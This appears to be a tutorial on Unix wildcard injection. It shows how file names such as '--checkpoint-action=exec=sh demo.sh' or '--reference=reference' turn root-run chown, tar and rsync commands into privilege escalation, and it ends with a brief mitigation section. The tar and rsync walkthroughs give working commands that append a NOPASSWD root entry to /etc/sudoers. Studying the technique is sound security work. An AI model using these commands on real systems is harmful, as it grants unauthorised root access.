Wildcards are symbols which represent other characters. You can use them with any command such as the cat
or rm
commands to list or remove files matching a given criteria. There are others, but the one that is important to us right now is the *
character, which matches any number of characters.
For example:
-
cat *
displays the contents of all files in the current directory -
rm *
removes all files in the current directory
How it works under the hood is that the *
character gets expanded to all the matching files. If we have the files a
, b
and c
in our current directory, and we run rm *
, then the outcome will be rm a b c
.
The problem
As we know, we can pass flags to programs on the command line to
indicate how it should run. For example if we use rm -rf
instead of
just rm
then it will recursively and forcefully delete files without
further prompting.
Now what would happen if we ran rm *
and had a file in the current
directory with name -rf
? Shell expansion of the * would cause the
command to become rm -rf a b c
and -rf will be interpreted as a
command argument.
This is bad news when a privileged user or script uses wildcards in a command which has potentially dangerous flags, in particular, ones related to external command execution. In these cases we can likely use it to escalate privileges.
Dangerous programs: chown and chmod
Both chown and chmod can be exploited in the same way, so I will only explain chown.
Chown is a program which allows you to change the owner of a specified file. The following example changes the owner of some-file.txt to be some-user:
chown some-user some-file.txt
Chown has a --reference=some-reference-file
flag, which specifies that the owner of the file should be the same as the owner of the reference file. An example should help:
chown some-user some-file.txt --reference=some-reference-file
Let’s say the owner of some-reference-file
is another-user
. In that case, the owner of some-file.txt
will be another-user
instead of some-user
.
Exploitation
Let’s say we have a vulnerable program called vulnerable.sh which contains the following:
cd some-directory
chown root *
In that case, let’s create a file which is owned by us:
cd some-directory
touch reference
Then we create a file which will inject the flag:
touch -- --reference=reference
If you create a symlink to /etc/passwd in the same directory, then the owner of /etc/passwd will also be you, which will allow you to gain a root shell. For more detailed information about escalating privileges using /etc/passwd, refer to this article.
Dangerous program: tar
Tar is a program which allows you to collect files into an archive.
In tar, there are “checkpoint” flags, which allow you to execute actions after a specified number of files have been archived. Since we can inject those flags with wildcard injection, we can use checkpoints to execute commands of our choosing. If tar is run as the root user, the commands will also be run as the root user.
Given this vulnerability, an easy way to gain root privileges is by making ourselves a sudoer. A sudoer is an user who can assume root privileges. These users are specified in the /etc/sudoers
file. By just appending one extra line to that file, we can make ourselves a sudoer as well.
Exploitation
Let’s say we have a vulnerable program and cron is being used to run it periodically. The program contains the following:
cd important-directory
tar cf /var/backups/backup.tar *
The steps to follow for root access are:
1) Inject a flag which specifies our checkpoint
First we will specify that after one file has been archived, there is a checkpoint. We will later give an action to that checkpoint, but for now we will simply tell tar that it exists.
Let’s create the file which will inject the flag:
cd important-directory
touch -- --checkpoint=1
2) Write a malicious shell script
The shell script will append code to /etc/sudoers
that will make you a sudoer.
The line you need to add to/etc/sudoers
is my-user ALL=(root) NOPASSWD: ALL
.
Let’s create the shell script:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > demo.sh
The shell script should be in the same directory as the wildcard.
Note that we will have to change my-user
to be the actual user we want to make a sudoer.
3) Inject a flag which specifies the checkpoint action
We will now specify that, when tar hits the checkpoint we specified at step #1, it should run the shell script we created at step #2:
touch -- "--checkpoint-action=exec=sh demo.sh"
4) Gain root
Wait until cron has executed the script and gain root privileges by typing:
sudo su
Dangerous program: rsync
Rsync is a “fast, versatile, remote (and local) file-copying tool”, that is very common on Unix systems.
Some interesting flags to use with rsync are:
-e, --rsh=COMMAND specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine
We can use the -e
flag to run any shell script we want. Let’s create a shell script which will add us to the sudoers file:
echo 'echo "my-user ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > shell.sh
Now let’s inject the flag which will run our shell script:
touch -- "-e sh shell.sh"
Mitigation
Although wildcard injection can be extremely dangerous, it is also pretty easy to avoid. Adding the full path of the directory in front of the wildcard is enough to stop the attack.
This is exploitable:
some_command *
But this isn’t:
some_command /path/to/some/folder/*
Conclusion
Using wildcards seems completely safe at first glance, but in reality, we must take great care not to expose ourselves to wildcard injection.